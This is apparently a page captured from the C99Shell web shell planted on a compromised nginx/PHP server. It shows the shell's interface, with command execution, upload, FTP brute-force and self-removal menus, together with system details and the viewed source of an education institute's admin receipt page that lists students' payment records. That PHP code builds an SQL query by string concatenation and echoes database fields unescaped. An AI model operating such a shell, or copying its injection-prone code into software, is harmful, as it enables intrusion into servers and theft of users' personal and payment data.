!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.18.0. PHP/7.4.29 

uname -a: Linux ip-172-31-23-220 5.15.0-1084-aws #91~20.04.1-Ubuntu SMP Fri May 2 07:00:04 UTC 2025
aarch64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/admin/   drwxrwxr-x
Free 39.78 GB of 48.28 GB (82.39%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     search_receipt.php (11.23 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php session_start();
include(
'includes/header.php');
?>
<?php 
  

// Storing session data
   
$_SESSION["role"];
   if(!isset(
$_SESSION["role"]))
   {

    
header("location:admin_login.php");
    
    
?>
    <script type="text/javascript">
        window.location.href = "admin_login.php";
    </script>
    <?php
   
}
   else
   {
    
?>
<div class="page-container">    
    <div class="left-content">
        <div class="mother-grid-inner">
            <!--header start here-->
            <div class="header-main">
                <div class="header-left">
                    <div class="logo-name">
                        <a href="admin_index.php"> <h3>SICS ADMIN</h3> 
                            </br>

                        </a>                                
                    </div>
                    <div class="clearfix"> </div>
                </div>
                <!--notification menu end -->
                <div class="profile_details">       
                    <ul>
                        <li class="dropdown profile_details_drop">
                            <a href="#" class="dropdown-toggle" data-toggle="dropdown" aria-expanded="false">
                                <div class="profile_img">   
                                    <span class="prfil-img"><!-- <img src="images/p1.png" alt=""> --> </span> 
                                    <div class="user-name">
                                        <p>Srishti Innovative</p>
                                        <span><?php echo $_SESSION["name"];?></span>
                                    </div>
                                    <i class="fa fa-angle-down lnr"></i>
                                    <i class="fa fa-angle-up lnr"></i>
                                    <div class="clearfix"></div>    
                                </div>  
                            </a>
                            <ul class="dropdown-menu drp-mnu">
                                    <!-- <li> <a href="#"><i class="fa fa-cog"></i> Settings</a> </li> 
                                    <li> <a href="#"><i class="fa fa-user"></i> Profile</a> </li>  -->
                                <li> <a href="logout.php"><i class="fa fa-sign-out"></i> Logout</a> </li>
                            </ul>
                        </li>
                    </ul>
                </div>
</div>
                <div class="inner-block">
                    
                    <h3 style="text-align: left;color: #337ab7;margin-bottom: 1%;">Receipt</h3>
                    <?php
                    $query 
"select * from tb_paymet order by id desc";
                    
$result $con->query($query);
                    
?>
                    <div class="table-responsive">
                        <table id="requests" class="table table-striped table-bordered table-condensed">
                        <thead style="background: #7ab9f3;">
                            <tr>
                                <th>Sl.No</th>
                                <th>Name</th>
                                <th>Email</th>
                                <th>Course</th>
                                <th>Phone</th> 
                                <th>Amount</th>
                                <th>Payment Type</th> 
                                <th>Term</th>
                                <th>Action</th>
                            </tr>
                        </thead>   
                        <tbody>
                            <?php
                             $i
=1;
                             while(
$row $result->fetch_assoc()) 
                             {
                                
?>
                                <tr >
                                    <td><?php echo $i?></td>
                                    <?php

                                    $id
=$row["id"];
                                        
                                        
$sql1="select * from user_details where user_id=".$row["user_id"];
                                        
$result1 $con->query($sql1);
                                        
$row1 $result1->fetch_assoc();
                                        
?>
                                    <td><?php echo $row1["name"]; ?></td>
                                    <td><?php echo $row["email"]; ?></td>
                                    <td><?php echo $row["course"]; ?></td>
                                    <td><?php echo $row["phone"]; ?></td>  
                                    <td><?php echo $row["txn_amount"]; ?></td>
                                    <td><?php echo $row["txn_type"]; ?></td>
                                    <td><?php echo $row["auth_status"]; ?></td>
                                    <td> <a href="admin_receipt.php?id=<?php echo $id?>" target="_blank">view</a> </td>
                                    
                                  

                                                              
                            </tr>
                               
                            <?php
                                     $i
++;
                             }
                             
?> 
                        </tbody>
                    </table>
                    </div>

                </div>
        </div>

       

        <!--heder end here-->
        <!-- script-for sticky-nav -->
       
        <div class="inner-block">

            </section>              
        </div>
    </div> 
</div>  
<!--slider menu-->
<?php include('includes/sidebar.php'); ?>
<!--slide bar menu end here-->
<?php include('includes/footer.php'); ?>


<?php
if(isset($_GET['id']))
{
     
$t $_GET['id']; 
     if(
$t=='success')
     {
        
?>
        <script type="text/javascript">
            //alert("Course request activated Successfully!");
            swal("Course request activated Successfully!");
        </script>
        <script type="text/javascript">
            window.location = 'https://www.srishticampus.com/admin/new_requests.php';
        </script>
        <?php
     
}
}
?>

 <script>
    $(document).ready(function () {
        $('#requests').DataTable({

          "fnInitComplete": function(){
                // Disable TBODY scoll bars
                $('.dataTables_scrollBody').css({
                    'overflow': 'hidden',
                    'border': '0'
                });
                
                // Enable TFOOT scoll bars
                $('.dataTables_scrollFoot').css('overflow', 'auto');
                
                $('.dataTables_scrollHead').css('overflow', 'auto');
                
                // Sync TFOOT scrolling with TBODY
                $('.dataTables_scrollFoot').on('scroll', function () {
                    $('.dataTables_scrollBody').scrollLeft($(this).scrollLeft());
                });      
                
                $('.dataTables_scrollHead').on('scroll', function () {
                    $('.dataTables_scrollBody').scrollLeft($(this).scrollLeft());
                });
            },
            "scrollX": true,
            "scrollCollapse": true,
         
            "colResize": {
                "tableWidthFixed": true,
                //"handleWidth": 10,
                "resizeCallback": function(column)
                {

                }
            },
            "searching":   true,
            "paging":   true,
            "info":     true,
            "deferRender": true,
            "sScrollX": "190%"
        });


        var navoffeset = $(".header-main").offset().top;
        $(window).scroll(function () {
            var scrollpos = $(window).scrollTop();
            if (scrollpos >= navoffeset) {
                $(".header-main").addClass("fixed");
                $(".sidebar-menu").addClass("fixed");
            } else {
                $(".header-main").removeClass("fixed");
                $(".sidebar-menu").removeClass("fixed");
            }
        });

       $(document).on("click",".delete",function() {
       var id= $(this).data('id');
        swal({
            title: "Are you sure?",
            text: "You want to delete this request?",
            type: "warning",
            showCancelButton: true,
            confirmButtonColor: "#DD6B55",
            confirmButtonText: "Yes",
            cancelButtonText: "No",
            closeOnConfirm: false,
            closeOnCancel: false
          },
          function(isConfirm){
            if (isConfirm) {
                $.ajax({
                    url: 'delete_request.php',
                    type: "POST",
                    data: { id:id  },
                    success: function(response) {
                        if(response!=0){
                            swal("Successfully deleted !","","success");
                            $('#row_'+id).hide();
                        } else{
                            swal("Something went wrong !", "", "error");
                        }
                    }
                });
            } else {
              swal("Cancelled", "", "error");
            }
          });
      });
      
   
        $(document).on("click",".statuschange",function() {
        var id= $(this).data('id');
        var current=$(this);
        $.ajax({
            url: 'statuschange_request.php',
            type: "POST",
            data: { id:id  },
            success: function(response) {
                if(response==1){
                    
                    $(current).removeClass("btn-success");
                    $(current).addClass("btn-warning");
                    $(current).html("Deactivate");
                    swal("Successfully Activated !","","success");
                } else{
                    
                    $(current).removeClass("btn-warning");
                    $(current).addClass("btn-success");
                    $(current).html("Activate");
                    swal("Successfully Deactivated !","","success");
                }
            }
        });
    });

 var x = 1;

var maxField = 3;
  //Input fields increment limitation
    var addButton = $('.add_button'); //Add button selector
    var wrapper = $('.field_wrapper'); //Input field wrapper

var c=2

//New input field html 
    //Initial field counter is 1
    
    //Once add button is clicked
    $(addButton).click(function(){
        //Check maximum number of input fields



   var fieldHTML = '<br><br><div class="no"><input type="date" name="exam_date[]" placeholder="Exam date"><a href="javascript:void(0);" class="remove_button" style="font-size: 29px;color: black;text-align: center;">-</a></div>'; 

        if(x <= maxField){ 
       
            x=x+1;

            c++; //Increment field counter
            $(wrapper).append(fieldHTML); //Add field html

        }

 });


     
    
    //Once remove button is clicked
    $(wrapper).on('click', '.remove_button', function(e){

        e.preventDefault();
        $(this).parents('.no').remove(); //Remove field html
        x--;
      
         //Decrement field counter
    });
});
</script>
<?php
   
}
?>  

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0062 ]--